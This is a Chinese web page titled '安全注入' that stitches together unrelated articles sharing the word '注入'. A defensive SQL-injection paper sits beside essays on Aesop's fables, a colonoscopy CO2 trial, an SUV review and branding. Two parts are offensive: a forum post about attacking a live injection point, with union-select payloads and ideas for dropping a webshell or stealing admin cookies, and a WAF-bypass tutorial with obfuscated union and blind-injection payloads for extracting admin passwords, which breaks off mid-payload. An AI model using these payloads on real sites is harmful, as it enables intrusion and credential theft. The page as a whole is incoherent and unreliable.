安全注入

2024-06-08

安全注入（共12篇）

安全注入篇1

摘要：SQL注入是对Web应用程序造成威胁非常流行的一种攻击方法,本文从SQL注入的原理技术进行分析,介绍如何从多个角度防止SQL注入,更好的维护Web应用程序的安全。

关键词：SQL注入,安全,研究

1引言

随着互联网的普及应用,Web应用系统广泛应用到各个领域。但由于Web应用系统的功能丰富、便于传播、通用性强等特点, 导致它容易为网络黑客所攻击。1998年第一次有人发现SQL注入 , 此后研究人员开始注意SQL注入的危险性, 而且之后SQL注入进行攻击的事件愈演愈烈。

近几年发生几起SQL注入比较有名的事件 ,2009年12月,黑客利用SQL注入漏洞攻击RockY ou数据库获取用户密码信息;2010年9月, 瑞典选民在选举阶段内通过SQL注入攻击选举;2011年, 黑客利用SQL注入漏洞从诺基亚网站盗取用户信息;2012年,MMORPG游戏网站被黑客SQL注入攻击。越来越多利用SQL注入攻击非法获取经济利益, 任何网站或应用中的一个SQL注入漏洞都很有可能受到黑客的攻击。

2 SQL注入技术分析

SQL是访问数据库服务器的标准语言 ,几乎所有的Web应用都需要与数据库打交道 ,势必用到SQL语言。SQL的典型操作“查询”可以获取数据库的“查询结果记录集”,并且SQL语句可以对数据库的结构或数据进行操作和修改, 如果攻击者利用SQL语句进入Web应用程序的数据查询,SQL注入攻击就有可能发生。

当Web应用程序的开发人员对cookie或用户输入的参数等数据不进行过滤或验证就直接传递值给SQL查询语句时,SQL注入漏洞就开始存在了。

(1) SQL注入漏洞原因

一条典型的SQL语句:

statement := "SELECT* FROM users WHERE name= '" + uN ame + "';"

这段代码的目的是将某个特定用户从用户表中取出,但如果用户名被恶意用户用特定方式伪造,这条语句的执行操作就完全违反了作者的期望。比如,将用户名这个变量(uN ame)输入为:

u' or 'a'='a'

这样写的目的是,name='uN ame' 的要求就变成了name='u'?or?'a'='a',单引号刚好闭合,此时原始语句变为:

SELECT * FROM users WHERE name = 'u' or 'a'='a';

此代码被用于认证过程的话,如上输入能够强迫选择合法的用户名,因为赋值 'a'='a' 永远为真。

如此的SQL注入除了可以获取正确的用户通过外,还可以利用这一点删除表、或者获取表中所有的数据等。

(2)SQL注入的危害

攻击者可以利用SQL注入任意增、删、改或查数据库中的数据,获取数据库中存放的个人密码、消费记录等敏感信息;可以通过这种方法获得管理员的权限操作数据库;如果攻击者利用SQI注入执行一些系统的命令的话,他们可以获得整个系统的控制权,后果可想而知。

3 SQL注入的安全防范

(1)参数化方法

参数化方法是指在数据提交的地方不直接进行赋值, 而利用参数来进行值传递。使用参数化方法,在DBMS对SQL语句完成编译后 ,才载入参数运行语句。即便参数的传递中含有指令,也不会被运行。

使用参数化查询技术,数据库服务器不会将参数的内容视为SQL指令的一个组成部分来处理, 在数据库系统完成对SQL指令的编译后, 再载入参数运行. 因此,即使参数中含有指令,也不会被DBMS编译运行示例1:

……

sql.CommandT ext = "select * from users where uname= ? and pword = ?";

// 构造SQL语句,根据的用户名和密码在用户表中查找记录

sql.Parameters.Append (cmd.Create Parameter("@uname", 200, 1, 20, "abc"));

sql.Parameters.Append (cmd.Create Parameter("@pword", 200, 1, 16, "bcd"));

……

rs.Close();

conn.Close();

如上例子中以“?”代表即将输入的内容。在具体的查询执行过程中, 这个含有待输入内容的SQL语句会被应用程序提交给DBMS,由DBMS执行查询计划,应用程序随后以参数的方式传递这些输入值,DBMS把参数输入的值应用到查询计划中, 并执行得到查询结果。即便攻击者改变参数的值再次执行语句,会得到不同的查询结果, 参数输入的值的变化不能影响到查询计划。这就如同我们做的填空题:“查找密码是 ( _ ) 并且用户名是( _ )的用户。”无论谁填也无论括号内填什么,都不能改变语句本身的意思。

(2)验证输入

SQL注入主要是开发人员对输入的参数等数据不进行过滤或验证造成的。那么可以通过限制表单或者查询字符串输入的长度来进行防范。若用户名的长度最长为12个字符,那么表单输入时可限制输入12个字符以上的内容, 这样一定程度上限制了攻击者的攻击行为。

对用户输入的内容的合法性进行验证,确保输入的内容仅包含合法数据,验证除了在客户端进行之外再服务器端也可以再次进行验证,这样可以弥补客户端验证脆弱的安全性。在客户端,攻击者有可能会通过非法方式获取网页源代码, 对合法性验证的脚本进行修改,然后将非法输入通过修改后的表单提交到服务器端。因此,若要保证非法数据无法注入,最好的办法就是客户端和服务器都执行验证。

(3)安全配置数据库服务器

对数据库服务器的安全配置格外重要,即便网站不小心被SQL注入所攻击, 攻击者想获取服务器密码也没那么容易。

一般的网站给予用户连接DBMS的权限级别较高,这样比较危险,可以根据实际需要分配不同级别账号,给予的权限一定是其需要的最低权限就够了,从连接源头限制攻击者的进一步获取数据的权限。

当攻击者通过SQL注入获取了数据库连接文件的数据时 , 接下来有可能使用文件中的username和password来连接数据库服务器 ,所以数据库网络连接的安全必须要设置恰当。其中一种方法是对连接进行限制,仅保留本地指定的IP地址有权访问数据库服务器,对其他任何IP地址一律拒绝。或者将连接数据库服务器的端口由默认改为自定义,也可以从一定程度保证数据库服务器的安全。

4结束语

SQL注入攻击主要针对应用程序开发过程中的编程漏洞 , 这种攻击是可以绕过很多防火墙的 , 虽然DBMS版本一直不断地更新 ,加上脚本语言本身漏洞的减少,但只要此漏洞存在,总是潜伏着很多隐患。因此,研究SQL注入攻击的防范方法, 在应用程序等开发的过程中对用户输入信息的详细过滤检查, 重视DBMS的安全配置等, 对于Web应用程序的安全有着非常重要的意义。

安全注入篇2

Wamp环境，用thinkphp框架制作，手工检测发现一个注入点，

1/content/117 and 1=2 union select @@datadir,2,3,4,5,6

这个注入点同时还是一个反射型xss，id值被写入到了内联js里。

接着提交

and 1=2 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=(hex值)

返回空白，查看源代码发现”.”之后的语句被截断了，

现在有几个思路，求指点

1.构造特殊语句，使语句中不出现”.”。

2.通过Select into outfile导出webshell。但由于框架问题”/”和””都被认为是目录。

3.构造xss获取管理员cookies。

1eg：/content/117;alert(document.cookie)

给“经典”注入“活水” 篇3

关键词：经典；时代之音；活水

中图分类号：G622.0 文献标志码：B 文章编号：1674-9324（2012）01-0248-04

《伊索寓言》是世界上拥有读者最多的一本书，它是东西方民间文学的精华，劳动人民智慧的结晶，是影响人类文化的100本书之一。全书文字凝练，故事生动，想象丰富，饱含哲理，融思想性和艺术性于一体。这本世界上最古老的寓言集，篇幅短小，形式不拘，浅显的小故事中常常闪耀着智慧的光芒，爆发出机智的火花，蕴含着深刻的寓意。它不仅是向少年儿童灌输善恶美丑观念的启蒙教材，而且是一本生活的教科书，对后世产生了很大的影响。但随着历史巨轮的推进，当今的孩子在读《伊索寓言》时往往会发出一些“时代之音”。下面就我班学生阅读《伊索寓言》中两则故事后的感触，谈谈他们给“经典”带来的“活水”吧！《狐狸和葡萄》讲的是饥饿的狐狸看见葡萄架上挂着一串串晶莹剔透的葡萄，口水直流，想要摘下来吃，但又摘不到。看了一会儿，无可奈何地走了，他边走边自己安慰自己说：“这葡萄没有熟，肯定是酸的。”原本书中提示的寓意是：有些人能力小，做不成事，就借口说时机未成熟。就在大多数学生为狐狸的可笑言语感到不耻时，一个孩子竟然为狐狸申起冤来：“狐狸吃不到葡萄就说葡萄是酸的固然不对，可它又能怎么样呢？我倒觉得这只狐狸也是聪明的。”听了孩子的问题，让我想到了最近在《读者》上看到的《九只狐狸与压力应对》一文，文章讲的是一群口干舌燥的狐狸来到一个葡萄架下，面对晶莹剔透的葡萄采取自己应对的方式，结果大不相同：有的狐狸就像书上的狐狸一样自我安慰后，心安理得地走了；有的狐狸想尽一切办法也没吃到葡萄活活累死了；有的狐狸因为吃不到葡萄整天闷闷不乐，抑郁成疾，不治而亡；有的狐狸觉得连个葡萄也吃不到，活着没意思上吊自杀了；有的狐狸一生气，精神分裂疯了；有的狐狸耍起了小聪明，结果受到了严厉惩罚……比起那些为了吃到葡萄而最终累死、病死、疯了的狐狸，《伊索寓言》中的狐狸的确是聪明的。很多事情都有两面性，都可以从不同的角度去分析它，我们不应该让耀眼的星空挡住璀璨的宇宙，不应该让思维的定式阻挡孩子思绪的发散，要创新、要开拓、要有个性化的阅读。“那它聪明在哪里呢？”——我把学生发现的问题转化一下，又抛给了问题的主人，让全班孩子打开思维的空间去讨论。讨论结果让人惊喜：

第一点，它聪明在懂得放弃。因为它也竭尽全力地想办法去摘葡萄了，结果还是没有摘到，这说明它没有能力去办这件事，于是它主动放弃了。在社会生活中，我们有目标，有追求，我们为之奋斗，渴望拥有。但是有的时候现实是很残忍的，不可能事事都如你所料地发生、发展。有些事自己已经竭尽全力多次努力，结果还是没把事情办成功。此时如果还是一味去努力，结果只会一样，与其这样做无用功为什么我们不能放弃呢？并不是每一个愿望都能实现，当目标远在自己的能力范围之外时，学会放弃，或许是正确的抉择。因为这种放弃并不是全盘皆输，再无路可走。有一句名言说得好：上帝为你关闭一扇窗的同时，会为你打开另一扇窗。放弃一条路，意味着也选择了另外一条路；放弃了这种方法，就可以去选择另外一种方法；放弃了这件事，才可以去做另外一件事。人不可能事事行，也不可能事事不行；一事行不等于事事行，一事不行不等于事事不行；今天行不等于明天行，今天不行不等于明天不行；做事不行不等于做人不行。正如古人说得好，不要在一棵树上吊死，只盯着眼前的一棵葡萄，也许会错过后面的整个葡萄园呀。

第二点，它聪明在会用酸葡萄心理调节自己。人的一生要战胜很多东西，而最该战胜的则是自己，尤其是自己的内心。每一个人的一生都会遇到很多坎坷，在坎坷面前有的人能凭借坚强的信念挺过来，就像两次书写明代史书《国榷》的谈迁，几次想血溅墙头而最终写出《史记》的司马迁一样。而那些挺不过来的人，从此一撅不起，一事无成。其实这时不是坎坷拦住了我们，而是我们自己内心的“那个门槛”把我们挡在了成功之外。这时候，我们何不学习狐狸“自我安慰”一番，自己放低门槛，或者索性拆掉那个门槛适时地调节一下自己，灿烂的未来之路不还是一样属于自己吗？

综合上面两点，狐狸在无计可施的前提下，主动放弃和自我安慰的确聪明，因为在当时那种情况下，它实在是没办法吃到那诱人的葡萄。不过，生活在懂得合作重要性的新时期学生，没有难倒他们的困难，孩子们当即想出了：文中的狐狸要想真的吃到葡萄也是有办法的。那就是找来他的同伙帮忙，大家采用叠罗汉的方法，摘取葡萄共同享用，那才是真正的聪明。当今社会是个竞争激烈的社会，但我们每个人的能力有限，不可能事事独立完成，此时就需要我们放下戒备之心，真诚地与别人合作，共同品尝胜利之果。

对于《伊索寓言》这些历史长河中遗留下的奇葩，我们应该在其茁壮成长的基础上，加以创新的种子、智慧的灌溉，让其开得更美丽，让经典随着“活水”的注入永葆青春之美！

朱熹说得好：问渠哪得清如许？为有源头活水来。每个人只有不断地学习新知识——源源不断的活水，才能有日新月异的进步——清如許。但对于“经典”，它无法去获取“活水”，就得靠我们的读者从生活中找取“活水”，给其注入。只有这样，我们的“经典”才能真正“活”起来！作为新时代的教师，我们更该用创新思维去教育我们的学生，让孩子们的思维“活”起来，更让他们的生活也“活”起来！

安全注入篇4

1 资料与方法

1.1 一般资料

选取2010年1月至2012年12月间我院结肠镜室检查收治患者45例，其中男29例，女16例，体质量52.8～94.6kg，排除急性下消化道出血患者、精神分裂症患者、CO2潴留患者。使用随机数字表法将患者分CO2组23例和Air组22例，分别进行结肠镜下EMR治疗时注入CO2和空气。两组患者在性别、年龄、EMR比率等一般资料差异无统计学意义（P>0.05），有可比性。

1.2 方法

手术所用电子结肠镜及CO2注气设备（Olympus公司）。术前检测心电图及血常规，治疗前一天采蓖麻油清理肠道，治疗前晚10时起禁食，由患者或家属签署同意书，结肠镜下EMR操作由同名操作者进行；由专人负责CO2注气设备阀门，操作者和患者均不知气体类型。所有患者进行治疗时均先进镜至回盲部，退镜至病变部位时再进行结肠镜EMR治疗，治疗完成后退镜。

内镜黏膜下切除术 (EMR) 治疗方法：结肠镜到达病变部位后，从结肠镜活检孔送内镜下注射针至病变部位行膜下注射（黏膜下注射液配制为1∶20万单位肾上腺素+0.5%美兰+生理盐水) 5～10m L，使病变部位基底隆起；再由活检孔送圈套器至病变部位进行病变的圈套切除，病变较大时可分次进行；切除后清理创面。

1.3 评定标准

腹痛VAS评分：采用视觉模拟评分量表[2]对疼痛严重程度进行评分，0代表无痛，100表示有无法忍受，在内镜治疗术后1, 6, 24h对腹痛VAS评分进行评估，并监测患者结肠镜治疗术前、病变开始切除时、病变切除后和术后1h 4个时段ETCO2值，统计术后1h肛门排气情况。

1.4 统计学处理

采用SPSS15.0统计学软件进行处理。计量资料以均数±标准差表示，采用t检验，以P<0.05为具有统计学意义。

2 结果

2.1 两组患者治疗前后VAS评分比较

患者腹痛情况由VAS评分评定。如表1所示，术中和术后24h两组患者VAS评分无明显区别，而术后1h和6h CO2组VAS评分明显低于Air组，有极显著差异（P<0.01）。

注：**与Air组相比P<0.01

2.2 两组患者治疗各时间段ETCO2对比

由表2可见，对术前、病变开始切除时、病变切除后和术后1h 4个时间段ETCO2进行了测定，病变切除时和切除后Air组ETCO2明显降低，与CO2组比较有显著差异（P<0.05）。

注：*与Air组相比P<0.05

2.3 两组患者术后肛门排气情况比较

CO2组患者术后1h无排气2例，少量排气17例，中量排气3例，大量排气1例，Air组分别为0、8、9、5例，明显少于Air组。

3 讨论

内镜技术发展，结肠镜在下消化道疾病诊断和治疗上飞速，已成为下消化道疾病诊治中最常用、有效和可靠的方法。结肠镜检查时需充分进行肠腔内注气以显露肠壁，有效观察黏膜病变情况。传统消化内镜检查时通常选择空气，成本低，操作简便。可导致一系列并发症：穿孔、空气栓塞、及肠壁缺血，引起腹胀腹痛，导致患者心理恐惧，阻碍了结肠镜检查应用[3]。因此在结肠镜的检查及治疗时需要寻求一种性质更稳定、可替代空气的充气介质。CO2最初是应用于腹腔镜下的气腹手术中，现已证明在腹腔镜中注入CO2造成气腹是安全可靠，己广泛用于腹腔镜手术中。

使用CO2替代空气进行结肠镜检查能减轻患者检查或治疗后腹痛，由于CO2具有与空气不同的理化特性：CO2无色无味，不可燃，易溶于水和血液，扩散率是空气的20倍。在结肠镜检查和治疗中，CO2可顺着肠腔及血液压力梯度，快速从肠腔吸收或通过肺呼吸排出体外。由于结肠镜检查和治疗术后的并发症主要是由肠道内残余气体引起，而CO2注入后在肠道内聚集较少，相比较空气组可减轻术后腹痛腹胀的发生率，可减轻患者痛苦，增加病患合作，便于结肠镜检查及治疗的顺利进行；CO2对肠壁血流的干扰极少，可降低肠壁局部缺血危险性。

本研究中术后1h和6h CO2组VAS评分明显低于Air组，有极显著差异（P<0.01），表明通入CO2对腹痛改善更明显。对术前、病变开始切除时、病变切除后和术后1h 4个时间段ETCO2进行测定时，两组比较术前和术后无明显差异，病变切除时和切除后Air组ETCO2明显低于CO2组，两组比较有显著差异（P<0.05）;CO2组术后1h的肛门排气情况也明显少于Air组。

本文研究表明，内镜黏膜下切除术（EMR）中应用CO2，可明显减轻患者腹痛腹胀，减少肛门排气，有利于内镜治疗术顺利进行及推广，安全有效，值得临床推广。

参考文献

[1]刘雄祥, 刘德良, 李杰.应用二氧化碳进行结肠镜检查的安全性与有效性评价[J].中南大学学报 (医学版) , 2009, 34 (8) :1672-7347.

[2]尹梦欣.EMR治疗胃肠息肉患者的护理[J].医学理论与实践, 2010, 23 (3) :345-346.

安全注入篇5

结果被脑残反问还有什么方法，的确有些时候思维被固化了，很多东西需要变通。

php+mysql

首先说判断：

Null值相信大家不陌生吧，可这么用： and 1 is null,and 1 is not null

或: and 2<=3

其实，很多人习惯性的用=号来判断了，但是，如： >= ,<= ,is null,is not null,等都可用于判断

接着说注入

对于注射取值，我们熟悉的就是union select 和 blind sqlinjection(盲注)

先说Union Select

对于常规的注射，我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4

Ok,看我演示， id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 够恶心吧?

可绕过国内所有防注射哦:) 这代码运行后效果如上，至于原理我希望大家自己去

查查相关资料，有异议的可给我留言.

当然，在语句传递多个参数时例如 slect * from table where id = 1 and name = xxx ，我们可这么做：

id=1+union/*&name=*/select+1,2

代入查询后 slect * from table where id = 1 union /* and name = xxx */ select 1,2

这是一种让常量(变量)失效的技巧，当然，环境要求比较苛刻

下面说说Blind SqlIjection(盲注)

一般方式，我想大家应该是这么做的： ascii(substring(password,1,1))=56，或者是

ord(mid(password,1,1))=56

在此，我推荐大家还是用子查询，当然，前提是猜出表，字段，可更为准确的得到想得到的数据

此前，仍然向大家推荐一些新型的手法：

find_in_set 例: find_in_set(’56′,ascii(substr(password,1,1)))=1

strcmp 例： strcmp(left(‘password’,1), 0×56) = 1

将这些函数套如子查询就是：

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×55)=1 false

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×56)=0 true

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×57)=-1 false

老外NB 方法还有 -.-

悲剧还是绕不过去，nnd。要是国内

的站以上几种方法一般都能搞定，老外就是bt。国外php 注射历史悠久手法独特+方法猥琐射出几率相当高

www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select

0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6–+-

www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select

0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version,database(),u

注入强心剂篇6

今年，紧凑型SUV的鼻祖——超级维特拉整整20岁。或许是为了庆祝这一时刻，铃木在中国投放了有史以来最强悍的超级维特拉。3门车型连升两级，抛弃1.6L发动机，直接搭载排量高达2.4L的4缸发动机，并可选自动变速器搭配；5门车型在前者的基础上，更是拥有3.2LV6发动机的旗舰动力，再加上40多万元SUV才具备的一系列电子系统，整个车系自上而下都如同注入了一颗——噢，不，是好几颗强心剂!

惟一的劣势化作泡影

动力系统大升级

新超级维特拉的新款发动机排量，恰巧与雪佛兰旗下的一款SUV——科帕奇相同，联想到两家均隶属美国通用集团，不少人就认为两车出自同一平台、同一总成。这是大错特错。

首先，新超级维特拉沿袭了20年前纵置发动机、后轮驱动的布局，拥有纯正的越野车血统，而科帕奇则是典型的轿车结构——横置前驱，与同门的景程颇为相似。其次，新超级维特拉的3.2L和2.4L发动机均使用了铃木的双VVT技术，最大功率分别为165kW、122kW，科帕奇的动力水平分别为169kW、100kW，算是各有千秋。底盘和发动机均有明显差异，同平台之说又何从谈起呢?

既然说两款发动机是全新设计，那么就让我们来看看它们“新”在哪里。

先说最受关注，也是未来销路最广的2.4L发动机吧。它拥有与丰田凯美瑞2.4L相当的动力水平，拿SUV和B级轿车比，似乎不够专业，我们只是想让您了解它与同价位主流轿车的差距。在同级SUV中，它与当之无愧的老大——本田CR－V各有千秋：最大功率比后者低3kW，而最大扭矩高5Nm(发出转速低200rpm)。这样一来，曾经1.6L和2.0L发动机所带来的落差不复存在，新超级维特拉向在国内销售火爆的本田CR－V发起了挑战。你更看好谁呢?

以前的对比测试有过结论：轿车结构的本田CR－V动力性能更好，而越野车底盘的超级维特拉的操控更棒。在动力提升之后，新超级维特拉已出CR－V之右。就拿中段加速来说，由于使用了回转阀可变进气系统(即常说的进气歧管长度可变)，因此得到明显提升。特别是在2750rpm－4750rpm的转速范围之内，进气歧管长度由短变长，提升了发动机效率，最终的结果就是至多可以提升25％左右的扭矩——220Nm的最大扭矩也在此时诞生，但新的平衡轴并没有让噪声和振动“肆虐”。你还担心什么呢7若是驱动3门车型，配合手动变速器，街道超车恐怕经常上演。我预计，它的0－100km/h起步加速时间可以轻松突破10s，甚至新增的自动挡车型也有进入10s俱乐部的能力!这对全时四驱的SUV来说，挺梦幻吧?

更梦幻的还在后面。我从没有想过新超级维特拉搭载过3.2L V6发动机的模样，因为那简直不可能。但铃木却给出了令人惊讶且惊喜的答案。284Nm/3500rpm的扭矩推动着重达1.75Ka的车身，丝毫不会有吃力的感觉。虽然动力比不过丰田皇冠3.0L的V6发动机，但后者毕竟是配套给身价数10万的中高级轿车。血统纯正，但平易近人的新超级维特拉能具备接近100kW/t的比功率，不少所谓的跑车都有点汗颜了。当然，不要指望它能干掉奔驰、宝马，它毕竟是全时四驱的SUV。搭配上2.4L车型难以企及的5挡自动变速器，新超级维特拉312L玩儿的就是紧凑型SUV的“范儿”。

延续豪华，向高档看齐

配置提最高、噪声降最低

一眼看过去，就感觉新超级维特拉比原来神气了许多。更具肌肉感的前杠划清了与老款的界限，17寸甚至18寸(3.2L车型)的超大轮圈太夸张了，都让我有点怀疑它是否还能越野，事实证明是我多虑了。

其实超级维特拉向来不缺高级配置。带透镜的氙气大灯、感应式车钥匙、自动空调、6个安全气囊，样样都是以豪华车为样本。而新款车型还加入了行车电脑与5.1声道中必不可少的中置扬声器，甚至让人感觉到了奢侈。但是，豪华并不等于高档，追求品质的新超级维特拉自然要两者兼具。

于是，铃木的工程师们开始在看不见、摸不着的地方下起功夫。比如说全时四驱在高速时最让人头痛的传动噪声问题，就得到明显改善。从分动器输出到前后差速器的所有结合处，都不惜成本地使用了滑动式等速万向节，相当于可以让传动轴长度可变，最大能力地适应车轮的跳动。这和车轮与传动轴间“较劲”的情况相比，你说行驶振动和噪声能不小么?行驶稳定性能不好么?

引用一组数据来证明新超级维特拉的噪声确实降低：3.2L车型与原来没有引进中国的老款2.7L相比，整体行驶噪声降低2dB(分贝)左右，2.4L车型比老款2.0L降低1dB以上，特别是80－100km/h的速度下，降幅接近2dB。这对相对敏感的人耳来说，就像用遥控器稍微调低了电视音量差不太多。

能在隔音上付出努力，并获得明显成效，这对一款貌似憨厚的SUV来说，确实不易。

全时四驱的加强版

ESP、上下坡辅助一应俱全

全时四驱是越野车的本性，也是真正SUV不可或缺的核心。新超级维特拉也因此而更具魅力。

新超级维特拉一如既往地使用了带紧凑型凸轮式的LSD(限滑差速器)，从而让全时四驱更能适应公路驾驶。当然，也不必担心这会影响它作为真正四驱车的越野能力。因为“专业级”的中央差速器锁也是其必不可少的部件。这样一来，新超级维特拉就继承了从第一代车型就使用的分动器和中央差速器锁止机构，并拥有4种四驱模式。

先不玩越野，只在柏油路上耍耍。偶尔能感觉到轮胎发生侧滑，车身的侧倾几乎到了极限，但加速感觉依旧顺畅，必不可少的ESP(电子稳定系统)不时地介入工作，沉重的车辆完全按照预期的行驶轨迹，几乎没有转向不足或是转向过度，这是像本田CR－V、现代途胜那些适时四驱所难以媲美的。这样的表现，可以给新超级维特拉满分的成绩了。

再去到越野路面上，4H挡(高速四驱)依旧有用武之地。但当路面开始变得泥泞，4H Lock挡则更加稳妥。此时中央差速器的锁止机构作用，前后轴的转速相同。即便前轮开始打滑，后轮也可以将新超级维特拉平稳地推出困境。

如果还想来点儿更悬的，4个车轮都要挣扎，那挂上4L Lock挡碰碰运气吧。不过它实际是为爬坡而设计，此时分动比由1.00提高到1.97，驱动扭矩提高近1倍，把3，2L发动机生生当“6.4L”来用。尽管车速变得缓慢，但力道却异常强劲，配合HHC(上坡辅助系统)，多陡的斜坡也不会轻易溜车，可以在你准备起步的2s内维持制动力。遇到下坡，那就更好办了，HDC(下坡辅助系统)会借助ESP来自动控制车速，而且不必担心制动系统过热，因为后轮的制动鼓已经摇身一变，直接升级为通风盘——这通常是高级跑车的标准配置。

多说一句，一般不要动N挡，它是为拖车而设计。

虽然一切只是针对第三代车型的小改款，但每一项变化都有极强的针对性，招招命中要害，招招都是强心剂。按理说，像超级维特拉这样的紧凑型SUV，在国内还有不少。单论价格，新超级维特拉比国产SUV略贵，但原装进口的身份却令对手们不敢掉以轻心。无论怎么来看，它都是真正的SUV，一系列的改进都没有动摇原则——以越野车为基础。

安全注入篇7

质量是杂志的生命保障。改版一年来, 编辑们殚精竭虑, 精心策划, 细心雕琢, 精益求精, 使杂志更加精致、更有内涵, 我由衷地佩服杂志的大气和编辑部全体工作者们的大气。阅读《新课程研究》, 既能提高我们的专业素养, 又能愉悦我们的身心, 还能丰富我们的精神生活, 亦能提升我们的教育教学水平和能力。一串串课改硕果、一幅幅动人画卷、一句句教育箴言, 一行行教育经典、一段段教育思想、一篇篇教育经典、一期期精神大餐, 为教育注入活理念, 为教师注入鲜血液, 为课程注入新能量, 为课改注入新动力。值得一提的是, 在每期杂志即将印刷出炉前, 编辑们都会在群里发布纠错信息, 在群共享里上传纠错表格, 让“啄木鸟”们咬文嚼字, 并给予纠错积极者一定的物质或精神奖励。奖励虽小, 但意义巨大, 价值非凡, 既能减少编辑们的工作量, 又能促使读者们用心阅读杂志, 亦能扩大杂志的影响范围, 这一奇思妙想、精心策划的安排, 体现了对作者和读者尤为尊重的办刊理念!我作为一名一线教师, 代表全国的作者、读者和教师, 向《新课程研究》杂志社的全体工作人员致以深深的敬意!期待《新课程研究》早日成为名优期刊!

将情感注入品牌篇8

情感价值是无形的, 品牌价值同样是无形的

世界上最具有价值的东西就是感情。假如男女之间产生了感情, 即使付上金钱收买, 或极力阻拦双方在一起, 也是难以实现的, 情感就像强力磁铁, 紧紧吸住双方。情感价值无可估量, 品牌能经营好, 同样具有无可估量的价值。这就是无形资产的力量。

没有任何科技含量, 即使是一家小工厂都可能制造出来的汽水, 为什么可口可乐可以风靡全球, 而国内的可乐型汽水, 都在可口可乐竞争中败下阵来?这不是可口可乐出身早———至少在中国没有比我们早———也不是国内汽水做得不够好, 而是可口可乐善于将情感注入到品牌当中, 成为品牌的DNA。这样, 情感就成为品牌与消费者维系的纽带, 只要情感在, 消费者就会对品牌忠诚, 源源不断地购买品牌产品回馈企业。

我们国内企业的运作, 只是学表层, 结果当标杆去学, 不仅自己成不了标杆, 还误了创建好品牌时机。就拿可乐行业讲, 娃哈哈旗下的非常可乐在大西北农村获得了成长空间, 但为什么不将“中国可乐”这一情感牌打到底呢?只要非常可乐与可口可乐口味相宜, 那么不断打这一情感牌———当你喝惯美国可乐, 也该尝尝中国可乐, 那味道更加地道, 更加亲切……凭借娃哈哈的联销体模式, 相信中国可乐行业真正会出现可口可乐、百事可乐、非常可乐“三国鼎立”的格局。

可口可乐总裁曾讲, 即使全世界的可口可乐工厂一夜之间被烧掉, 可口可乐凭品牌也可再建立起可乐帝国, 这就是品牌无形的价值, 情感更是如此。假如非常可乐能够做到这一点, 将情感价值无形体现在品牌上, 那么可乐行业还是有中国品牌立足之地。至少非常可乐具有这个潜质。

奢侈品并不奢侈, 奢侈在于情感

拉近情感与奢侈品的关系, 似乎有悖常理。但是我们将情感注入品牌, 并不是奢侈品表面的奢华, 而是探索情感在品牌当中的实质。对于奢侈品来讲, 绝对是情感赋予了品牌的价值。要不, 同样的产品, 奢侈品品牌可以溢价上百倍, 甚至上千倍。

为什么要购买法国的LV、香奈儿、迪奥等奢侈品, 质量保证是一方面, 更重要的就是情感影响。用法国香水, 会感觉到浪漫, 那么爱情因子就会洋溢起来, 每一名女性, 都永远希望自己生活在恋爱之中, 那种感觉微妙, 即使活在感觉当中, 对于女性来讲, 也是生活的一种享受。法国的奢侈品就是渲染这一情感, 消费者付出再多价钱, 也感觉物有所值。国内许多护肤品的企业老板满脸怨言:质量不比别人差, 销量可是比别人差多了。其实也不难理解, 别人用情感来卖化妆品, 女性内心的脆弱防线自然会被攻破了。

我们不要觉得奢侈品贵, 奢侈品贵不在于价钱。假如一包盐, 价格卖到100块, 那就是贵。但是将这包盐赋予情感, 注入仅有的亲情, 那么卖到100块, 就不觉得贵了, 因为亲情不能用金钱来衡量。我们同样有打造奢侈品的底蕴, 只不过我们不知道, 奢侈品的奢侈, 不在价钱, 注重的是怎么将情感注入到品牌当中。卖出的价钱让购买者觉得理所当然。

具有情感的品牌, 将大放光彩

越是往后, 吃香的品牌, 肯定是那些与消费者情感共鸣的品牌。在这个商品横流, 消费者缺少忠诚与“温情"的时代, 我们需要的就是利用情感来维系消费者, 赢得消费者对品牌的忠诚。

从品牌创建开始, 企业就应该想着怎么注入情感, 与产品的特性相呼应。在情感的世界里, 情感是多维的, 有亲情、爱情、友情……企业可以充分利用并赋予到品牌当中。味千拉面的广告“这一碗, 让心里好满", 真的会打动消费者的。因为, 曾经恋情, 或者现在的恋情, 在广告的演绎下, 通过这碗味千拉面来盛满恋情, 这是将情感注入品牌当中的经典之作。据调研了解, 一名消费者看到这个广告, 特意到味千拉面消费, 就是为了找回恋情的感觉。

日立:把质量注入血脉篇9

质量管理直接关系到企业的生存和发展, 因此各国企业都十分重视对产品的质量管理。以日立公司为代表的日本企业从自身实际和本土文化出发, 形成了有自己特色的质量管理模式。首先, 企业树立了“无次品”的质量管理观念。一般认为把废品率降到1%以下意义不大, 可是在日本公司的质量图表上, 废品率不是以百分之几表示, 而是以百万分之几表示, 长远目标是零。日本企业还宣传“每个废品都是宝”的观念, 对废品进行仔细研究, 找出质量管理中存在的问题。其次, 日本企业质量管理是面向消费者的。日本工业标准将质量管理定义为:“质量管理是经济地生产合格产品的一种生产方式体系, 或者是满足顾客需求的服务”。日本企业也认为“质量管理就是发展、设计、生产和服务于一种优质产品, 这种产品应是最经济、最有用, 并使消费者满意”。因此, 他们提出“最现实的质量好坏标准就是顾客是否满意”, “百分之一的次品对顾客来说就是百分之百的次品”。再次, 追求产品的适用性, 不以合格率为主要标准, 扩大产品优等率。第四, 日本企业重视质量管理中人的因素, 强调全员参与质量管理。

